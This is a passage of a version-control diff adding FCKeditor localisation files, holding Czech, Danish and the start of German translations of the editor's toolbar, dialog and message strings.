+DlgFindNotFoundMsg	: "Hledaný text nebyl nalezen.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Nahradit",
+DlgReplaceFindLbl		: "Co hledat:",
+DlgReplaceReplaceLbl	: "Čím nahradit:",
+DlgReplaceCaseChk		: "Rozlišovat velikost písma",
+DlgReplaceReplaceBtn	: "Nahradit",
+DlgReplaceReplAllBtn	: "Nahradit vše",
+DlgReplaceWordChk		: "Pouze celá slova",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Bezpečnostní nastavení Vašeho prohlížeče nedovolují editoru spustit funkci pro vložení textu ze schránky. Prosím vložte text ze schránky pomocí klávesnice (Ctrl+V).",
+PasteErrorCut	: "Bezpečnostní nastavení Vašeho prohlížeče nedovolují editoru spustit funkci pro vyjmutí zvoleného textu do schránky. Prosím vyjměte zvolený text do schránky pomocí klávesnice (Ctrl+X).",
+PasteErrorCopy	: "Bezpečnostní nastavení Vašeho prohlížeče nedovolují editoru spustit funkci pro kopírování zvoleného textu do schránky. Prosím zkopírujte zvolený text do schránky pomocí klávesnice (Ctrl+C).",
+
+PasteAsText		: "Vložit jako čistý text",
+PasteFromWord	: "Vložit text z Wordu",
+
+DlgPasteMsg2	: "Do následujícího pole vložte požadovaný obsah pomocí klávesnice (<STRONG>Ctrl+V</STRONG>) a stiskněte <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorovat písmo",
+DlgPasteRemoveStyles	: "Odstranit styly",
+DlgPasteCleanBox		: "Vyčistit",
+
+// Color Picker
+ColorAutomatic	: "Automaticky",
+ColorMoreColors	: "Více barev...",
+
+// Document Properties
+DocProps		: "Vlastnosti dokumentu",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Vlastnosti záložky",
+DlgAnchorName		: "Název záložky",
+DlgAnchorErrorName	: "Zadejte prosím název záložky",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Není ve slovníku",
+DlgSpellChangeTo		: "Změnit na",
+DlgSpellBtnIgnore		: "Přeskočit",
+DlgSpellBtnIgnoreAll	: "Přeskakovat vše",
+DlgSpellBtnReplace		: "Zaměnit",
+DlgSpellBtnReplaceAll	: "Zaměňovat vše",
+DlgSpellBtnUndo			: "Zpět",
+DlgSpellNoSuggestions	: "- žádné návrhy -",
+DlgSpellProgress		: "Probíhá kontrola pravopisu...",
+DlgSpellNoMispell		: "Kontrola pravopisu dokončena: Žádné pravopisné chyby nenalezeny",
+DlgSpellNoChanges		: "Kontrola pravopisu dokončena: Beze změn",
+DlgSpellOneChange		: "Kontrola pravopisu dokončena: Jedno slovo změněno",
+DlgSpellManyChanges		: "Kontrola pravopisu dokončena: %1 slov změněno",
+
+IeSpellDownload			: "Kontrola pravopisu není nainstalována. Chcete ji nyní stáhnout?",
+
+// Button Dialog
+DlgButtonText		: "Popisek",
+DlgButtonType		: "Typ",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Název",
+DlgCheckboxValue	: "Hodnota",
+DlgCheckboxSelected	: "Zaškrtnuto",
+
+// Form Dialog
+DlgFormName		: "Název",
+DlgFormAction	: "Akce",
+DlgFormMethod	: "Metoda",
+
+// Select Field Dialog
+DlgSelectName		: "Název",
+DlgSelectValue		: "Hodnota",
+DlgSelectSize		: "Velikost",
+DlgSelectLines		: "Řádků",
+DlgSelectChkMulti	: "Povolit mnohonásobné výběry",
+DlgSelectOpAvail	: "Dostupná nastavení",
+DlgSelectOpText		: "Text",
+DlgSelectOpValue	: "Hodnota",
+DlgSelectBtnAdd		: "Přidat",
+DlgSelectBtnModify	: "Změnit",
+DlgSelectBtnUp		: "Nahoru",
+DlgSelectBtnDown	: "Dolů",
+DlgSelectBtnSetValue : "Nastavit jako vybranou hodnotu",
+DlgSelectBtnDelete	: "Smazat",
+
+// Textarea Dialog
+DlgTextareaName	: "Název",
+DlgTextareaCols	: "Sloupců",
+DlgTextareaRows	: "Řádků",
+
+// Text Field Dialog
+DlgTextName			: "Název",
+DlgTextValue		: "Hodnota",
+DlgTextCharWidth	: "Šířka ve znacích",
+DlgTextMaxChars		: "Maximální počet znaků",
+DlgTextType			: "Typ",
+DlgTextTypeText		: "Text",
+DlgTextTypePass		: "Heslo",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Název",
+DlgHiddenValue	: "Hodnota",
+
+// Bulleted List Dialog
+BulletedListProp	: "Vlastnosti odrážek",
+NumberedListProp	: "Vlastnosti číslovaného seznamu",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Typ",
+DlgLstTypeCircle	: "Kružnice",
+DlgLstTypeDisc		: "Kruh",
+DlgLstTypeSquare	: "Čtverec",
+DlgLstTypeNumbers	: "Čísla (1, 2, 3)",
+DlgLstTypeLCase		: "Malá písmena (a, b, c)",
+DlgLstTypeUCase		: "Velká písmena (A, B, C)",
+DlgLstTypeSRoman	: "Malé římská číslice (i, ii, iii)",
+DlgLstTypeLRoman	: "Velké římské číslice (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Obecné",
+DlgDocBackTab		: "Pozadí",
+DlgDocColorsTab		: "Barvy a okraje",
+DlgDocMetaTab		: "Metadata",
+
+DlgDocPageTitle		: "Titulek stránky",
+DlgDocLangDir		: "Směr jazyku",
+DlgDocLangDirLTR	: "Zleva do prava ",
+DlgDocLangDirRTL	: "Zprava doleva",
+DlgDocLangCode		: "Kód jazyku",
+DlgDocCharSet		: "Znaková sada",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Další znaková sada",
+
+DlgDocDocType		: "Typ dokumentu",
+DlgDocDocTypeOther	: "Jiný typ dokumetu",
+DlgDocIncXHTML		: "Zahrnou deklarace XHTML",
+DlgDocBgColor		: "Barva pozadí",
+DlgDocBgImage		: "URL obrázku na pozadí",
+DlgDocBgNoScroll	: "Nerolovatelné pozadí",
+DlgDocCText			: "Text",
+DlgDocCLink			: "Odkaz",
+DlgDocCVisited		: "Navštívený odkaz",
+DlgDocCActive		: "Vybraný odkaz",
+DlgDocMargins		: "Okraje stránky",
+DlgDocMaTop			: "Horní",
+DlgDocMaLeft		: "Levý",
+DlgDocMaRight		: "Pravý",
+DlgDocMaBottom		: "Dolní",
+DlgDocMeIndex		: "Klíčová slova (oddělená čárkou)",
+DlgDocMeDescr		: "Popis dokumentu",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Autorská práva",
+DlgDocPreview		: "Náhled",
+
+// Templates Dialog
+Templates			: "Šablony",
+DlgTemplatesTitle	: "Šablony obsahu",
+DlgTemplatesSelMsg	: "Prosím zvolte šablonu pro otevření v editoru<br>(aktuální obsah editoru bude ztracen):",
+DlgTemplatesLoading	: "Nahrávám přeheld šablon. Prosím čekejte...",
+DlgTemplatesNoTpl	: "(Není definována žádná šablona)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "O aplikaci",
+DlgAboutBrowserInfoTab	: "Informace o prohlížeči",
+DlgAboutLicenseTab	: "Licence",
+DlgAboutVersion		: "verze",
+DlgAboutLicense		: "Licencováno pod GNU Lesser General Public License",
+DlgAboutInfo		: "Více informací získáte na"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/da.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/da.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/da.js	(revision 44)
@@ -0,0 +1,503 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: da.js
+ * 	Danish language file.
+ * 
+ * File Authors:
+ * 		Jørgen Nordstrøm (jn@FirstWeb.dk)
+ * 		Jesper Michelsen (jm@i-deVision.dk)
+ * 		Bo Brandt (bbr@dynamicweb.dk)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Skjul værktøjslinier",
+ToolbarExpand		: "Vis værktøjslinier",
+
+// Toolbar Items and Context Menu
+Save				: "Gem",
+NewPage				: "Ny side",
+Preview				: "Vis eksempel",
+Cut					: "Klip",
+Copy				: "Kopier",
+Paste				: "Indsæt",
+PasteText			: "Indsæt som ikke-formateret tekst",
+PasteWord			: "Indsæt fra Word",
+Print				: "Udskriv",
+SelectAll			: "Vælg alt",
+RemoveFormat		: "Fjern formatering",
+InsertLinkLbl		: "Hyperlink",
+InsertLink			: "Indsæt/rediger hyperlink",
+RemoveLink			: "Fjern hyperlink",
+Anchor				: "Indsæt/rediger bogmærke",
+InsertImageLbl		: "Indsæt billede",
+InsertImage			: "Indsæt/rediger billede",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Indsæt/rediger Flash",
+InsertTableLbl		: "Table",
+InsertTable			: "Indsæt/rediger tabel",
+InsertLineLbl		: "Linie",
+InsertLine			: "Indsæt vandret linie",
+InsertSpecialCharLbl: "Symbol",
+InsertSpecialChar	: "Indsæt symbol",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Indsæt smiley",
+About				: "Om FCKeditor",
+Bold				: "Fed",
+Italic				: "Kursiv",
+Underline			: "Understreget",
+StrikeThrough		: "Overstreget",
+Subscript			: "Sænket skrift",
+Superscript			: "Hævet skrift",
+LeftJustify			: "Venstrestillet",
+CenterJustify		: "Centreret",
+RightJustify		: "Højrestillet",
+BlockJustify		: "Lige margener",
+DecreaseIndent		: "Formindsk indrykning",
+IncreaseIndent		: "Forøg indrykning",
+Undo				: "Fortryd",
+Redo				: "Annuller fortryd",
+NumberedListLbl		: "Talopstilling",
+NumberedList		: "Indsæt/fjern talopstilling",
+BulletedListLbl		: "Punktopstilling",
+BulletedList		: "Indsæt/fjern punktopstilling",
+ShowTableBorders	: "Vis tabelkanter",
+ShowDetails			: "Vis detaljer",
+Style				: "Typografi",
+FontFormat			: "Formatering",
+Font				: "Skrifttype",
+FontSize			: "Skriftstørrelse",
+TextColor			: "Tekstfarve",
+BGColor				: "Baggrundsfarve",
+Source				: "Kilde",
+Find				: "Søg",
+Replace				: "Erstat",
+SpellCheck			: "Stavekontrol",
+UniversalKeyboard	: "Universaltastatur",
+PageBreakLbl		: "Sidskift",
+PageBreak			: "Indsæt sideskift",
+
+Form			: "Indsæt formular",
+Checkbox		: "Indsæt afkrydsningsfelt",
+RadioButton		: "Indsæt alternativknap",
+TextField		: "Indsæt tekstfelt",
+Textarea		: "Indsæt tekstboks",
+HiddenField		: "Indsæt skjult felt",
+Button			: "Indsæt knap",
+SelectionField	: "Indsæt liste",
+ImageButton		: "Indsæt billedknap",
+
+FitWindow		: "Maksimer editor vinduet",
+
+// Context Menu
+EditLink			: "Rediger hyperlink",
+CellCM				: "Celle",
+RowCM				: "Række",
+ColumnCM			: "Kolonne",
+InsertRow			: "Indsæt række",
+DeleteRows			: "Slet række",
+InsertColumn		: "Indsæt kolonne",
+DeleteColumns		: "Slet kolonne",
+InsertCell			: "Indsæt celle",
+DeleteCells			: "Slet celle",
+MergeCells			: "Flet celler",
+SplitCell			: "Opdel celle",
+TableDelete			: "Slet tabel",
+CellProperties		: "Egenskaber for celle",
+TableProperties		: "Egenskaber for tabel",
+ImageProperties		: "Egenskaber for billede",
+FlashProperties		: "Egenskaber for Flash",
+
+AnchorProp			: "Egenskaber for bogmærke",
+ButtonProp			: "Egenskaber for knap",
+CheckboxProp		: "Egenskaber for afkrydsningsfelt",
+HiddenFieldProp		: "Egenskaber for skjult felt",
+RadioButtonProp		: "Egenskaber for alternativknap",
+ImageButtonProp		: "Egenskaber for billedknap",
+TextFieldProp		: "Egenskaber for tekstfelt",
+SelectionFieldProp	: "Egenskaber for liste",
+TextareaProp		: "Egenskaber for tekstboks",
+FormProp			: "Egenskaber for formular",
+
+FontFormats			: "Normal;Formateret;Adresse;Overskrift 1;Overskrift 2;Overskrift 3;Overskrift 4;Overskrift 5;Overskrift 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Behandler XHTML...",
+Done				: "Færdig",
+PasteWordConfirm	: "Den tekst du forsøger at indsætte ser ud til at komme fra Word.<br>Vil du rense teksten før den indsættes?",
+NotCompatiblePaste	: "Denne kommando er tilgændelig i Internet Explorer 5.5 eller senere.<br>Vil du indsætte teksten uden at rense den ?",
+UnknownToolbarItem	: "Ukendt værktøjslinjeobjekt \"%1\"!",
+UnknownCommand		: "Ukendt kommandonavn \"%1\"!",
+NotImplemented		: "Kommandoen er ikke implementeret!",
+UnknownToolbarSet	: "Værktøjslinjen \"%1\" eksisterer ikke!",
+NoActiveX			: "Din browsers sikkerhedsindstillinger begrænser nogle af editorens muligheder.<br>Slå \"Kør ActiveX-objekter og plug-ins\" til, ellers vil du opleve fejl og manglende muligheder.",
+BrowseServerBlocked : "Browseren kunne ikke åbne de nødvendige ressourcer!<br>Slå pop-up blokering fra.",
+DialogBlocked		: "Dialogvinduet kunne ikke åbnes!<br>Slå pop-up blokering fra.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Annuller",
+DlgBtnClose			: "Luk",
+DlgBtnBrowseServer	: "Gennemse...",
+DlgAdvancedTag		: "Avanceret",
+DlgOpOther			: "<Andet>",
+DlgInfoTab			: "Generelt",
+DlgAlertUrl			: "Indtast URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<intet valgt>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Tekstretning",
+DlgGenLangDirLtr	: "Fra venstre mod højre (LTR)",
+DlgGenLangDirRtl	: "Fra højre mod venstre (RTL)",
+DlgGenLangCode		: "Sprogkode",
+DlgGenAccessKey		: "Genvejstast",
+DlgGenName			: "Navn",
+DlgGenTabIndex		: "Tabulator indeks",
+DlgGenLongDescr		: "Udvidet beskrivelse",
+DlgGenClass			: "Typografiark",
+DlgGenTitle			: "Titel",
+DlgGenContType		: "Indholdstype",
+DlgGenLinkCharset	: "Tegnsæt",
+DlgGenStyle			: "Typografi",
+
+// Image Dialog
+DlgImgTitle			: "Egenskaber for billede",
+DlgImgInfoTab		: "Generelt",
+DlgImgBtnUpload		: "Upload",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Upload",
+DlgImgAlt			: "Alternativ tekst",
+DlgImgWidth			: "Bredde",
+DlgImgHeight		: "Højde",
+DlgImgLockRatio		: "Lås størrelsesforhold",
+DlgBtnResetSize		: "Nulstil størrelse",
+DlgImgBorder		: "Ramme",
+DlgImgHSpace		: "HMargen",
+DlgImgVSpace		: "VMargen",
+DlgImgAlign			: "Justering",
+DlgImgAlignLeft		: "Venstre",
+DlgImgAlignAbsBottom: "Absolut nederst",
+DlgImgAlignAbsMiddle: "Absolut centreret",
+DlgImgAlignBaseline	: "Grundlinje",
+DlgImgAlignBottom	: "Nederst",
+DlgImgAlignMiddle	: "Centreret",
+DlgImgAlignRight	: "Højre",
+DlgImgAlignTextTop	: "Toppen af teksten",
+DlgImgAlignTop		: "Øverst",
+DlgImgPreview		: "Vis eksempel",
+DlgImgAlertUrl		: "Indtast stien til billedet",
+DlgImgLinkTab		: "Hyperlink",
+
+// Flash Dialog
+DlgFlashTitle		: "Egenskaber for Flash",
+DlgFlashChkPlay		: "Automatisk afspilning",
+DlgFlashChkLoop		: "Gentagelse",
+DlgFlashChkMenu		: "Vis Flash menu",
+DlgFlashScale		: "Skalér",
+DlgFlashScaleAll	: "Vis alt",
+DlgFlashScaleNoBorder	: "Ingen ramme",
+DlgFlashScaleFit	: "Tilpas størrelse",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Egenskaber for hyperlink",
+DlgLnkInfoTab		: "Generelt",
+DlgLnkTargetTab		: "Mål",
+
+DlgLnkType			: "Hyperlink type",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Bogmærke på denne side",
+DlgLnkTypeEMail		: "E-mail",
+DlgLnkProto			: "Protokol",
+DlgLnkProtoOther	: "<anden>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Vælg et anker",
+DlgLnkAnchorByName	: "Efter anker navn",
+DlgLnkAnchorById	: "Efter element Id",
+DlgLnkNoAnchors		: "<Ingen bogmærker dokumentet>",
+DlgLnkEMail			: "E-mailadresse",
+DlgLnkEMailSubject	: "Emne",
+DlgLnkEMailBody		: "Brødtekst",
+DlgLnkUpload		: "Upload",
+DlgLnkBtnUpload		: "Upload",
+
+DlgLnkTarget		: "Mål",
+DlgLnkTargetFrame	: "<ramme>",
+DlgLnkTargetPopup	: "<popup vindue>",
+DlgLnkTargetBlank	: "Nyt vindue (_blank)",
+DlgLnkTargetParent	: "Overordnet ramme (_parent)",
+DlgLnkTargetSelf	: "Samme vindue (_self)",
+DlgLnkTargetTop		: "Hele vinduet (_top)",
+DlgLnkTargetFrameName	: "Destinationsvinduets navn",
+DlgLnkPopWinName	: "Pop-up vinduets navn",
+DlgLnkPopWinFeat	: "Egenskaber for pop-up",
+DlgLnkPopResize		: "Skalering",
+DlgLnkPopLocation	: "Adresselinje",
+DlgLnkPopMenu		: "Menulinje",
+DlgLnkPopScroll		: "Scrollbars",
+DlgLnkPopStatus		: "Statuslinje",
+DlgLnkPopToolbar	: "Værktøjslinje",
+DlgLnkPopFullScrn	: "Fuld skærm (IE)",
+DlgLnkPopDependent	: "Koblet/dependent (Netscape)",
+DlgLnkPopWidth		: "Bredde",
+DlgLnkPopHeight		: "Højde",
+DlgLnkPopLeft		: "Position fra venstre",
+DlgLnkPopTop		: "Position fra toppen",
+
+DlnLnkMsgNoUrl		: "Indtast hyperlink URL!",
+DlnLnkMsgNoEMail	: "Indtast e-mailaddresse!",
+DlnLnkMsgNoAnchor	: "Vælg bogmærke!",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Vælg farve",
+DlgColorBtnClear	: "Nulstil",
+DlgColorHighlight	: "Markeret",
+DlgColorSelected	: "Valgt",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Vælg smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Vælg symbol",
+
+// Table Dialog
+DlgTableTitle		: "Egenskaber for tabel",
+DlgTableRows		: "Rækker",
+DlgTableColumns		: "Kolonner",
+DlgTableBorder		: "Rammebredde",
+DlgTableAlign		: "Justering",
+DlgTableAlignNotSet	: "<intet valgt>",
+DlgTableAlignLeft	: "Venstrestillet",
+DlgTableAlignCenter	: "Centreret",
+DlgTableAlignRight	: "Højrestillet",
+DlgTableWidth		: "Bredde",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "procent",
+DlgTableHeight		: "Højde",
+DlgTableCellSpace	: "Celleafstand",
+DlgTableCellPad		: "Cellemargen",
+DlgTableCaption		: "Titel",
+DlgTableSummary		: "Resume",
+
+// Table Cell Dialog
+DlgCellTitle		: "Egenskaber for celle",
+DlgCellWidth		: "Bredde",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "procent",
+DlgCellHeight		: "Højde",
+DlgCellWordWrap		: "Orddeling",
+DlgCellWordWrapNotSet	: "<intet valgt>",
+DlgCellWordWrapYes	: "Ja",
+DlgCellWordWrapNo	: "Nej",
+DlgCellHorAlign		: "Vandret justering",
+DlgCellHorAlignNotSet	: "<intet valgt>",
+DlgCellHorAlignLeft	: "Venstrestillet",
+DlgCellHorAlignCenter	: "Centreret",
+DlgCellHorAlignRight: "Højrestillet",
+DlgCellVerAlign		: "Lodret justering",
+DlgCellVerAlignNotSet	: "<intet valgt>",
+DlgCellVerAlignTop	: "Øverst",
+DlgCellVerAlignMiddle	: "Centreret",
+DlgCellVerAlignBottom	: "Nederst",
+DlgCellVerAlignBaseline	: "Grundlinje",
+DlgCellRowSpan		: "Højde i antal rækker",
+DlgCellCollSpan		: "Bredde i antal kolonner",
+DlgCellBackColor	: "Baggrundsfarve",
+DlgCellBorderColor	: "Rammefarve",
+DlgCellBtnSelect	: "Vælg...",
+
+// Find Dialog
+DlgFindTitle		: "Find",
+DlgFindFindBtn		: "Find",
+DlgFindNotFoundMsg	: "Søgeteksten blev ikke fundet!",
+
+// Replace Dialog
+DlgReplaceTitle			: "Erstat",
+DlgReplaceFindLbl		: "Søg efter:",
+DlgReplaceReplaceLbl	: "Erstat med:",
+DlgReplaceCaseChk		: "Forskel på store og små bogstaver",
+DlgReplaceReplaceBtn	: "Erstat",
+DlgReplaceReplAllBtn	: "Erstat alle",
+DlgReplaceWordChk		: "Kun hele ord",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Din browsers sikkerhedsindstillinger tillader ikke editoren at indsætte tekst automatisk!<br>Brug i stedet tastaturet til at indsætte teksten (Ctrl+V).",
+PasteErrorCut	: "Din browsers sikkerhedsindstillinger tillader ikke editoren at klippe tekst automatisk!<br>Brug i stedet tastaturet til at klippe teksten (Ctrl+X).",
+PasteErrorCopy	: "Din browsers sikkerhedsindstillinger tillader ikke editoren at kopiere tekst automatisk!<br>Brug i stedet tastaturet til at kopiere teksten (Ctrl+C).",
+
+PasteAsText		: "Indsæt som ikke-formateret tekst",
+PasteFromWord	: "Indsæt fra Word",
+
+DlgPasteMsg2	: "Indsæt i feltet herunder (<STRONG>Ctrl+V</STRONG>) og klik <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorer font definitioner",
+DlgPasteRemoveStyles	: "Ignorer typografi",
+DlgPasteCleanBox		: "Slet indhold",
+
+// Color Picker
+ColorAutomatic	: "Automatisk",
+ColorMoreColors	: "Flere farver...",
+
+// Document Properties
+DocProps		: "Egenskaber for dokument",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Egenskaber for bogmærke",
+DlgAnchorName		: "Bogmærke navn",
+DlgAnchorErrorName	: "Indtast bogmærke navn!",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Ikke i ordbogen",
+DlgSpellChangeTo		: "Forslag",
+DlgSpellBtnIgnore		: "Ignorer",
+DlgSpellBtnIgnoreAll	: "Ignorer alle",
+DlgSpellBtnReplace		: "Erstat",
+DlgSpellBtnReplaceAll	: "Erstat alle",
+DlgSpellBtnUndo			: "Tilbage",
+DlgSpellNoSuggestions	: "- ingen forslag -",
+DlgSpellProgress		: "Stavekontrolen arbejder...",
+DlgSpellNoMispell		: "Stavekontrol færdig: Ingen fejl fundet",
+DlgSpellNoChanges		: "Stavekontrol færdig: Ingen ord ændret",
+DlgSpellOneChange		: "Stavekontrol færdig: Et ord ændret",
+DlgSpellManyChanges		: "Stavekontrol færdig: %1 ord ændret",
+
+IeSpellDownload			: "Stavekontrol ikke installeret.<br>Vil du hente den nu?",
+
+// Button Dialog
+DlgButtonText		: "Tekst",
+DlgButtonType		: "Type",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Navn",
+DlgCheckboxValue	: "Værdi",
+DlgCheckboxSelected	: "Valgt",
+
+// Form Dialog
+DlgFormName		: "Navn",
+DlgFormAction	: "Handling",
+DlgFormMethod	: "Metod",
+
+// Select Field Dialog
+DlgSelectName		: "Navn",
+DlgSelectValue		: "Værdi",
+DlgSelectSize		: "Størrelse",
+DlgSelectLines		: "linier",
+DlgSelectChkMulti	: "Tillad flere valg",
+DlgSelectOpAvail	: "Valgmuligheder",
+DlgSelectOpText		: "Tekst",
+DlgSelectOpValue	: "Værdi",
+DlgSelectBtnAdd		: "Tilføj",
+DlgSelectBtnModify	: "Rediger",
+DlgSelectBtnUp		: "Op",
+DlgSelectBtnDown	: "Ned",
+DlgSelectBtnSetValue : "Sæt som valgt",
+DlgSelectBtnDelete	: "Slet",
+
+// Textarea Dialog
+DlgTextareaName	: "Navn",
+DlgTextareaCols	: "Kolonner",
+DlgTextareaRows	: "Rækker",
+
+// Text Field Dialog
+DlgTextName			: "Navn",
+DlgTextValue		: "Værdi",
+DlgTextCharWidth	: "Bredde (tegn)",
+DlgTextMaxChars		: "Max antal tegn",
+DlgTextType			: "Type",
+DlgTextTypeText		: "Tekst",
+DlgTextTypePass		: "Adgangskode",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Navn",
+DlgHiddenValue	: "Værdi",
+
+// Bulleted List Dialog
+BulletedListProp	: "Egenskaber for punktopstilling",
+NumberedListProp	: "Egenskaber for talopstilling",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Type",
+DlgLstTypeCircle	: "Cirkel",
+DlgLstTypeDisc		: "Udfyldt cirkel",
+DlgLstTypeSquare	: "Firkant",
+DlgLstTypeNumbers	: "Nummereret (1, 2, 3)",
+DlgLstTypeLCase		: "Små bogstaver (a, b, c)",
+DlgLstTypeUCase		: "Store bogstaver (A, B, C)",
+DlgLstTypeSRoman	: "Små romertal (i, ii, iii)",
+DlgLstTypeLRoman	: "Store romertal (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Generelt",
+DlgDocBackTab		: "Baggrund",
+DlgDocColorsTab		: "Farver og margen",
+DlgDocMetaTab		: "Metadata",
+
+DlgDocPageTitle		: "Sidetitel",
+DlgDocLangDir		: "Sprog",
+DlgDocLangDirLTR	: "Fra venstre mod højre (LTR)",
+DlgDocLangDirRTL	: "Fra højre mod venstre (RTL)",
+DlgDocLangCode		: "Landekode",
+DlgDocCharSet		: "Tegnsæt kode",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Anden tegnsæt kode",
+
+DlgDocDocType		: "Dokumenttype kategori",
+DlgDocDocTypeOther	: "Anden dokumenttype kategori",
+DlgDocIncXHTML		: "Inkludere XHTML deklartion",
+DlgDocBgColor		: "Baggrundsfarve",
+DlgDocBgImage		: "Baggrundsbillede URL",
+DlgDocBgNoScroll	: "Fastlåst baggrund",
+DlgDocCText			: "Tekst",
+DlgDocCLink			: "Hyperlink",
+DlgDocCVisited		: "Besøgt hyperlink",
+DlgDocCActive		: "Aktivt hyperlink",
+DlgDocMargins		: "Sidemargen",
+DlgDocMaTop			: "Øverst",
+DlgDocMaLeft		: "Venstre",
+DlgDocMaRight		: "Højre",
+DlgDocMaBottom		: "Nederst",
+DlgDocMeIndex		: "Dokument index nøgleord (kommasepareret)",
+DlgDocMeDescr		: "Dokument beskrivelse",
+DlgDocMeAuthor		: "Forfatter",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Vis",
+
+// Templates Dialog
+Templates			: "Skabeloner",
+DlgTemplatesTitle	: "Indholdsskabeloner",
+DlgTemplatesSelMsg	: "Vælg den skabelon, som skal åbnes i editoren.<br>(Nuværende indhold vil blive overskrevet!):",
+DlgTemplatesLoading	: "Henter liste over skabeloner...",
+DlgTemplatesNoTpl	: "(Der er ikke defineret nogen skabelon!)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Om",
+DlgAboutBrowserInfoTab	: "Generelt",
+DlgAboutLicenseTab	: "Licens",
+DlgAboutVersion		: "version",
+DlgAboutLicense		: "Licens under vilkår for GNU Lesser General Public License",
+DlgAboutInfo		: "For yderlig information gå til"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/de.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/de.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/de.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: de.js
+ * 	German language file.
+ * 
+ * File Authors:
+ * 		Maik Unruh (m.unruh@mm-concept.de)
+ * 		Hendrik Kramer (HK@lwd.de)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Symbolleiste einklappen",
+ToolbarExpand		: "Symbolleiste ausklappen",
+
+// Toolbar Items and Context Menu
+Save				: "Speichern",
+NewPage				: "Neue Seite",
+Preview				: "Vorschau",
+Cut					: "Ausschneiden",
